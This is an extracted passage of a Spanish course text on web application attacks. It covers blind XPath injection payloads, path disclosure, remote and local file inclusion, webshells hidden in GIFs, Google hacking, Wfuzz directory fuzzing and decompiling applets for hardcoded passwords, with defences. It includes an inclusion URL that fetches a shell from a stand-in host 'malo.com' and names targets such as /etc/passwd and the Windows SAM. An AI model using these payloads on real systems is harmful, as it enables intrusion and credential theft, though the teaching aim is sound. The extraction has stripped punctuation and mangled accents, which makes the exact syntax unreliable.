CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web

or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =

or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =

or childnode()[position()=1 and string-length(name())=8] or 1=1 and =

Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar

el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-

cioacutenrdquo e imaginacioacuten

or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =

or childnode()[position()=1 and starts-with(name()us)] and =

or childnode()[position()=1 and starts-with(name()usu)] and =

Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de

caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-

ma que seriacutea la longitud del nombre extraiacuteda inicialmente

Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-

mos pero variando la consulta XPath con las siguientes plantillas

1) Para extraer informacioacuten referente a los nodos

bull Longitud del nombre

[PATH]childnode()[position()=[NUMNODO] and

string-length(name())gt[NUMERO]]

bull Nombre del nodo

[PATH]childnode()[position()=[NUMNODO] and

starts-with(name()[VALORES])]

bull Nuacutemero de subnodos

count([PATH]childnode())gt[NUMERO]

2) Para extraer la informacioacuten de los atributos

bull Nuacutemero de atributos de un nodo

count([PATH]childnode()[[NUMNODO]])gt[NUMERO]

CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web

bull Longitud del nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT] and

string-length(name())gt[NUMERO]])gt0

bull Longitud del valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

string-length([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]

bull Nombre del atributo

[PATH]childnode()[position()=[NUMNODO]] and

[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and

starts-with(name()[VALORES])

bull Valor del atributo

[PATH]childnode()[position()=[NUMNODO]] and

starts-with([PATH]childnode()

[[NUMNODO]][position()=[NUMATT]] [VALORES])

3) Para extraer el contenido de un nodo los elementos

bull Longitud del elemento

string-length([PATH]childtext())gt[NUMERO]

bull Valor del elemento

starts-with([PATH]childtext()[VALORES])

Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero

para ello ya existen herramientas que hacen este proceso de forma automaacuteti-

ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset

para encontrar los datos realizando un reducido nuacutemero de consultas

Implementar una reduccioacuten de charset es algo simple basta con hacer una

query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-

mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-

set Esto puede hacerse con la siguientes query

[contains(name() a)] or [contains(name() a)]

or attribute[contains(a)] or contains( a)

Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset

de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado

a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a

realizar pues ya sabremos que nunca va a aparecer

CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web

Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el

de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-

mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-

mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya

extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable

que si tienen la misma longitud tengan el mismo nombre

En la siguiente imagen se muestra una herramienta en funcionamiento una

vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable

Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada

232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection

La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de

la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un

filtrado de las entradas teniendo en cuenta dos factores

bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor

introducido en la entrada es un valor numeacuterico y no una cadena de texto

bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-

lla simple y doble por rsquo y rdquo

CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web

3 Ataques de Path Transversal

Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-

formacioacuten referente al servidor desde simplemente el directorio donde

se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del

servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos

por separado

La informacioacuten obtenida puede ser usada por un atacante para lograr acceder

a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-

ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder

a ellos

Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo

coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen

unos de los otros y realmente estaacuten muy relacionados entre siacute

31 Path Disclosure

Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en

cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-

ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a

un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-

mente

El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-

cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)

que contengan rutas a ficheros Esto lo lograremos introduciendo carac-

teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan

Figura 42 Fallo de Path Disclosure

CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web

Este mensaje de error puede darse al intentar reproducir cualquiera de los de-

maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-

macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten

un mensaje de error predefinido que usualmente contiene la ruta del fichero

afectado

Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-

nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es

buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-

tren nunca al usuario

CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web

4 Ataques de inyeccioacuten de ficheros

41 Remote file inclusion

Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo

remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al

igual que es posible cargar un fichero local para su inclusioacuten dentro de la

paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso

Esto es posible en lenguajes interpretados donde podemos incluir un fichero

con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como

base una paacutegina programada en PHP

httpwwwmipaginacommostrarphppag=indexphp

PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos

para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo

anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP

que permiten la inclusioacuten dinaacutemica de ficheros

bull include($pag)

bull require($pag)

bull include_once($pag)

bull require_once($pag)

Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-

dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-

temente controlada podremos hacer una llamada a un fichero externo que se

descargaraacute e interpretaraacute en el lado del servidor

httpwwwmipaginacommostrarphppag=httpmalocomshelltxt

En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el

fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en

mipaginacom

Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la

inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-

bicioacuten total de realizar estas acciones

CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web

Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos

buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc

php5phpini) y establecer la clave de configuracioacuten allow_url_include

a false

Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-

quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva

Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-

cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una

completa shell equipada con su propio explorador de ficheros opciones pa-

ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en

el equipo remoto

Figura 43 Shell remota ejecutaacutendose

Existe una gran variedad de shells remotas que podemos encontrar en Internet

Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen

otras como la r57 o c100 De todas maneras siempre podemos programarnos

una propia con la funcionalidad que necesitemos

42 Local file inclusion

Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-

pilados como interpretados Se basa en la posibilidad de incluir dentro de la

paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-

ciones web que tenga permisos de lectura

Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele

ser maacutes comuacuten en dos sitios bien diferenciados

bull Paacuteginas de plantillas carga un fichero desde otro y le da formato

CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web

bull Paacuteginas de descargas recibe un paraacutemetro con el nombre del fichero a

descargar y lo enviacutea al cliente

El concepto tras ambos fallos es el mismo y las implementaciones defectuo-

sas a veces tambieacuten Para lograr explotar esta vulnerabilidad de una manera

satisfactoria deberiacuteamos poder hacer llamadas a ficheros fuera de la ruta ori-

ginal Esto lo hariacuteamos intentando incluir ficheros de un directorio superior

usando los caracteres en sistemas Linux o en sistemas Windows maacutes

el nombre de un fichero del que conozcamos su existencia Por ejemplo sos-

pechamos que la siguiente URL tiene un fallo de local file inclusion

httpwwwvictimacomnoticiasdetallephpid=4amptipo=deportesphp

Entonces para corroborarlo y determinar que efectivamente nos encontramos

frente a un fallo de remote file inclusion podriacuteamos modificar la URL hasta que

quedase como sigue

httpwwwvictimacomnoticiasdetallephpid=4amptipo=indexphp

Con esta simple comprobacioacuten podriacuteamos detectar si una paacutegina va a ser vul-

nerable a local file inclusion

Esta teacutecnica se puede ampliar (si los permisos lo permiten y no se aplica el

concepto del miacutenimo privilegio) a ficheros fuera del directorio de la aplicacioacuten

web y empezar a incluir ficheros del propio sistema operativo Esto nos per-

mitiraacute obtener maacutes informacioacuten sobre el equipo

Para localizar sin equivocaciones los ficheros podemos usar un fallo de Path

Disclosure para que nos deacute informacioacuten sobre la ruta local donde se ubican

estos De todas maneras y si no sabemos la ruta relativa de un fichero frente

a la paacutegina vulnerable podemos usar las rutas directas4

Existen muchos ficheros interesantes a los que acceder mediante esta teacutecnica

dependiendo de los objetivos del atacante Ademaacutes estos variaraacuten entre distin-

tos sistemas operativos A continuacioacuten se detallan algunos de estos ficheros

como muestra de la informacioacuten que podemos llegar a obtener

bull etcpasswd Fichero de usuarios en sistemas Linux Contiene un com-

pendio de los usuarios existentes asiacute como datos relativos a ellos como

nombre o directorio del home

bull etchosts Permite guardar informacioacuten sobre equipos proacuteximos Suele

contener una lista de nombre e IPS internos que nos permiten obtener una

mejor idea de la estructura interna de una organizacioacuten

bull CWindowsrepairSAM La SAM es el fichero que contiene los nombres

de usuarios y claves de los usuarios de un sistema Windows En la carpeta

(4)Una ruta directa es la que inclu-ye todo el nombre del fichero

CC-BY-NC-ND bull PID_00191662 59 Ataques a aplicaciones web

Repair se almacena una copia del fichero SAM para poder recuperarla en

caso de error del sistema

bull El propio fichero vulnerable Es muy instructivo descargar el propio fichero

vulnerable mediante el fallo de local file inclusion para poder aprender de

los problemas de otros

Para evitar que esta teacutecnica tenga mayor impacto es importante pensar en

montar el servidor con el miacutenimo privilegio posible limitando la posibilidad

de acceso a ficheros del servidor dentro de su propia carpeta con lo que lo-

gramos evitar el acceso a ficheros del sistema aunque no a ficheros propios

de la aplicacioacuten

Figura 44 Ejemplo de local file inclusion

Si queremos hacer una proteccioacuten mediante programacioacuten en lugar de contro-

larlo mediante permisos en el servidor hay que tener en cuenta que las rutas

a ficheros se pueden escribir de dos maneras

bull Directa Escribimos la ruta donde se encuentra el fichero directamente

Deberiacuteamos por tanto eliminar los caracteres o de los datos enviados

por los usuarios

bull Relativa Usamos la canonizacioacuten para subir hacia directorios superiores

mediante el uso de o Lo podriacuteamos evitar excluyendo ademaacutes

de lo anterior los puntos

43 Webtrojans

Una de las funcionalidades maacutes extendidas en paacuteginas web medianamente

complejas es la posibilidad de subir ficheros al servidor imaacutegenes documentos

en PDF ficheros de viacutedeo etc

Cuando un usuario nos enviacutea un fichero debemos comprobar que lo que nos

enviacutea es un fichero legiacutetimo es decir si estamos esperando la llegada de un

fichero con una imagen es necesario comprobar que lo que recibimos es real-

mente una imagen y no otro tipo de fichero

CC-BY-NC-ND bull PID_00191662 60 Ataques a aplicaciones web

Si no comprobamos los ficheros que se nos enviacutean podriacuteamos estar copiando

en nuestro servidor un fichero malintencionado conocido como webtrojan5

Existen multitud de shells remotas en distintos lenguajes a disposicioacuten de cual-

quiera Estas shells suelen ser detectadas por los antivirus para evitar que pasen

desapercibidas a administradores despistados pero pueden ser ldquocamufladasrdquo

dentro de otros ficheros

El ejemplo maacutes claro de coacutemo camuflar un fichero de estos es incluirlo tras

una cabecera de una imagen donde algunos servidores son capaces de ejecutar

el coacutedigo

Figura 45 Webtrojan oculto dentro de un fichero GIF

En la imagen anterior se puede ver coacutemo un fichero gif abierto con un visor

de textos deja a la vista coacutedigo PHP que va a generar una puerta trasera para

subir cualquier tipo de fichero

Para evitar este tipo de problemas debemos comprobar siempre no solo la ex-

tensioacuten sino tambieacuten la cabecera del fichero para corroborar que es del tipo

que nosotros hemos permitido Una buena praacutectica es la de establecer noso-

tros mediante programacioacuten la extensioacuten de los ficheros que se nos suben

evitando que alguien pueda subir un fichero y establecerlo con extensiones

como ASP o PHP

(5)Es una shell remota que pode-mos subir a un servidor aprove-chando un fallo de seguridad

CC-BY-NC-ND bull PID_00191662 61 Ataques a aplicaciones web

5 Google Hacking

Google indexa hoy en diacutea millones de paacuteginas web y no entiende de zonas

privadas ni restringidas Todo aquello que esteacute enlazado a alguacuten sitio y sea

accesible estaraacute en Google Si conocemos coacutemo funciona Google (y en general

los buscadores) podremos acceder a mucha informacioacuten que ni siquiera sus

propietarios saben que se encuentra ahiacute

Es por esta razoacuten por lo que saber coacutemo hacer preguntas a Google sobre la

informacioacuten que nos interesa es muy importante permitieacutendonos recopilar

mucha informacioacuten sobre un sitio web sin necesidad de realizar en principio

ninguna peticioacuten al servidor en cuestioacuten

Google ofrece varios filtros que nos permitiraacuten afinar la buacutesqueda que quere-

mos realizar y que combinados unos con otros alcanzan una potencia mucho

mayor

bull +ltpalabragt Incluir un + (maacutes) delante de una palabra requiere la presencia

obligatoria de esta palabra en las paacuteginas devueltas

bull -ltpalabragt Con un siacutembolo ndash (menos) delante de una palabra excluye

todos los resultados que contengan esa palabra

bull ldquoltpalabrasgtrdquo Al colocar una frase entre comillas dobles buscamos cadenas

completas de texto dentro de los resultados

bull Se puede usar el caraacutecter con el significado de que puede aparecer cual-

quier palabra dentro de una frase entrecomillada

bull intitlelttextogt Permite buscar en el tiacutetulo de la paacutegina

bull inurllttextogt Realiza las buacutesquedas en la URL de la paacutegina

bull intextlttextogt Busca el texto en el cuerpo de las paacuteginas devueltas

bull filetypeltextensioacutengt Restringe la buacutesqueda a la extensioacuten especifi-

cada

bull domainltdominiogt Limita los resultados al dominio especificado Se

puede usar solo el identificador del paiacutes (como es)

Con estos filtros y combinaacutendolos entre siacute podemos lograr encontrar cualquier

cosa que esteacute en Internet

CC-BY-NC-ND bull PID_00191662 62 Ataques a aplicaciones web

Figura 46 Resultados de la buacutesqueda +usersmdb intitlerdquoIndex ofrdquo

Google Hacking Database es una base de datos de buacutesquedas de corroborada

eficacia que permite obtener datos interesantes referentes a ficheros de confi-

guracioacuten zonas privadas dispositivos conectados a la red software vulnera-

ble etc

Usando este tipo de buacutesquedas se puede llegar a conocer muchiacutesimos datos

de un servidor Uno de los ejemplos maacutes claros es la posibilidad de localizar

subdominios de un dominio dado mediante buacutesquedas recursivas Vamos a

realizar un ejemplo para que quede demostrada la utilidad de estas teacutecnicas

Para empezar se selecciona un dominio en este caso se ha elegido el dominio

uoces y se ejecuta la siguiente buacutesqueda

siteuocedu

Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-

nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-

dos

El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-

tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo

-www siteuoces

Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de

paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar

una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea

la siguiente

-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning

-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept

-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia

CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web

-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv

-www -biblio siteuoces

Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten

momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces

por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-

cioacuten sobre nuestro dominio

Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver

todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf

etc

Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad

de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas

locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten

un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-

tar sacar las contrasentildeas

CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web

6 Seguridad por ocultacioacuten

Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la

puerta de una casa para que dado el caso podamos entrar si hemos perdido

nuestra llave Evidentemente esto no es nada seguro pues cualquier persona

que la encuentre podraacute acceder al igual que nosotros a nuestra casa

Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web

Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-

vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida

de ficheros temporales Algunas de las maacutes comunes son

bull admin

bull logs

bull uploads

bull phpmyadmin

bull tmp

Estos directorios se pueden descubrir mediante pruebas manuales o haciendo

uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros

En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con

nombres conocidos

Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-

tituyendo en la zona de la URL que nosotros especifiquemos una cadena de

texto que va cogiendo liacutenea tras liacutenea de un fichero de texto

Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-

tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta

Vamos a aprender a usarla pues la sintaxis es simple

wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ

La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va

a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la

hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros

estaremos indicaacutendole al programa que

bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-

tas que vamos a buscar se van a coger desde un fichero de texto

(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas

CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web

bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado

el fichero commontxt que acompantildea al programa y que contiene una lista

de los nombres maacutes comunes de directorios ocultos

bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del

programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha

usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo

HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y

palabras (--hw) que contiene una paacutegina por si nos encontramos con un

servidor que devuelva siempre una paacutegina con coacutedigo 200

bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-

raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-

chero especificado

Figura 47 Resultado de la ejecucioacuten del programa Wfuzz

En la imagen anterior apreciamos coacutemo el programa ha detectado una serie

de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo

y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de

seguridad

Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la

buacutesqueda del fichero robotstxt Este fichero es usado por los administradores

de sitios web para evitar que Google y otros buscadores indexen zonas que

no desean

CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web

Figura 48 Ejemplo de fichero robotstxt

El problema es que mucha gente no entiende completamente el concepto de

este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen

aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-

res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos

encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-

nistrativas de pruebas privadas

Otro fichero que puede darnos mucha informacioacuten y que al contrario de

los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero

sitemapxml es un fichero propuesto por Google como una manera de indi-

carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y

cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos

descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital

importancia pues nos ahorra tiempo en navegar por el sitio y con una sola

peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten

se muestra un ejemplo de un fichero sitemapxml

ltxml version=10 encoding=UTF-8gt

lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt

lturlgt

ltlocgthttpwwwacomltlocgt

ltlastmodgt2005-01-01ltlastmodgt

ltchangefreqgtmonthlyltchangefreqgt

ltprioritygt08ltprioritygt

lturlgt

lturlgt

ltlocgthttpwwwacomnewsltlocgt

ltchangefreqgtweeklyltchangefreqgt

lturlgt

lturlgt

ltlocgthttpwwwacomarchiveltlocgt

ltlastmodgt2004-12-23ltlastmodgt

changefreqgtweeklyltchangefreqgt

CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web

lturlgt

lturlgt ltlocgthttpwwwacomfaqltlocgt

ltlastmodgt2004-12-23T180015+0000ltlastmodgt

ltprioritygt03ltprioritygt

lturlgt

lturlgt ltlocgthttpwwwacomaboutltlocgt

ltlastmodgt2004-11-23ltlastmodgt

lturlgt

lturlsetgt

61 Descompiladores de applets web

611 Flash

Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una

interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas

que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-

sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-

cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo

aunque a veces ocurre

Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente

han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros

proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de

coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos

se pueden observar faacutecilmente usando un sniffer del protocolo HTTP

Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio

en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver

el coacutedigo fuente del fichero Flash

CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web

Figura 49 Captura del fichero mp3 reproducido desde unreproductor web

Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando

lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo

actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-

samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-

donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un

fichero Flash

Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar

coacutemo realizar esto mediante el programa Flasm de descarga gratuita

La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-

lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-

rigir hacia un fichero de texto la salida del programa En este ejemplo vamos

a realizar la accioacuten con un pequentildeo juego Flash

Figura 50 Ejecucioacuten del comando flasmexe

Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra

extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador

(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf

CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web

Figura 51 Volcado del coacutedigo del fichero swf

Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo

funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las

URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten

Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los

fallos de seguridad comentados en capiacutetulos anteriores

612 Java

Al igual que con los ficheros Flash aunque con menos popularidad en la ac-

tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-

cutan dentro de nuestro navegador

Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo

en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene

muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto

tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-

mos en Flash

Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos

muestran el coacutedigo Java original En la captura siguiente el programa usado

es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-

ciones

CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web

Figura 52 Pantalla principal del Java Decompiler

613 NET

Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones

ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar

maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-

dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-

do NET que se carga desde el servidor mediante un plugin en nuestro navega-

dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de

la aplicacioacuten Silverlight

Figura 53 Aplicacioacuten de muestra de Silverlight

CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web

En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple

Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute

programada para que compruebe los datos introducidos con unos datos que

estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y

vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea

vaacutelidos El detalle de coacutedigo Javascript seriacutea

Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo

HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero

contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-

vegador interprete

El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del

programa Estos ficheros son compilados de NET y pueden ser analizados me-

diante programas como NET Reflector Los ficheros contenidos en este fiche-

ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor

pues realmente es un fichero ZIP

Figura 54ndash Fichero xap descomprimido

Una vez descomprimido se nos muestran una serie de archivos Estos archivos

contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero

realmente los datos importantes se encuentran en el fichero Test001dll (en el

ejemplo actual) Este fichero puede ser descompilado mediante el programa

indicado anteriormente y acceder al coacutedigo fuente interno En este caso se

observan dos clases principales App y MainPage

CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web

Figura 55 Detalle del programa descompilado

En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-

do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten

de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el

nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo

Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera

forma de poner un contenido de una manera maacutes vistosa para el usuario Sin

embargo a veces los desarrolladores web lo usan como un lenguaje de progra-

macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro

CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web

Bibliografiacutea

Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox

Clarke J (2009) SQL Injection Attacks and defense E Syngress

Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress

Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media

Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley

  • Ataques a aplicaciones web
    • Iacutendice
    • 1 Ataques de inyeccioacuten de scripts
      • 11 Cross site scripting (XSS)
        • 111 Ataques
